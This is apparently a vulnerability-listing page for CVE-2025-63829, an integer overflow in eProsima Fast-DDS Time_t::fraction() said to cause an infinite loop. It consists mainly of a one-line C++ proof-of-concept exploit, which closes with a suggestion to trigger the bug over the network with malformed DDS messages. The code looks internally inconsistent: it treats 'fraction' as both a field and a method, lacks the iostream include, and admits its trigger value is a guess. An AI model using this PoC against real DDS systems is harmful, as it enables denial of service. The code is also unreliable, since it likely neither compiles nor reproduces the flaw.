CVE-2025-63829 eProsima Fast-DDS Time_t::fraction()整数溢出导致无限循环漏洞

// PoC for CVE-2025-63829: eProsima Fast-DDS Time_t::fraction() Integer Overflow // This PoC demonstrates triggering the infinite loop via crafted Time_t data #include <fastrtps/rtps/rtps_fwd.h> #include <fastrtps/utils/Time_t.h> using namespace eprosima::fastrtps; int main() { // Create a Time_t object with potentially malicious fraction value Time_t malicious_time; // Set seconds to a value that may cause overflow when combined with fraction malicious_time.seconds = 0; // Attempt to set fraction to a value that could trigger integer overflow // The exact trigger value depends on the implementation details // This is a simplified demonstration malicious_time.fraction = 0xFFFFFFFF; // Max uint32_t value // Call the vulnerable fraction() function // This may cause integer overflow and infinite loop try { uint32_t result = malicious_time.fraction(); // If we reach here without hanging, the overflow wasn't triggered std::cout << "Result: " << result << std::endl; } catch (...) { std::cout << "Exception caught - possible overflow" << std::endl; } return 0; } // Alternative: Network-based trigger via malformed DDS message // In a real attack scenario, send a DDS message with Time_t field // containing values that will trigger the overflow when processed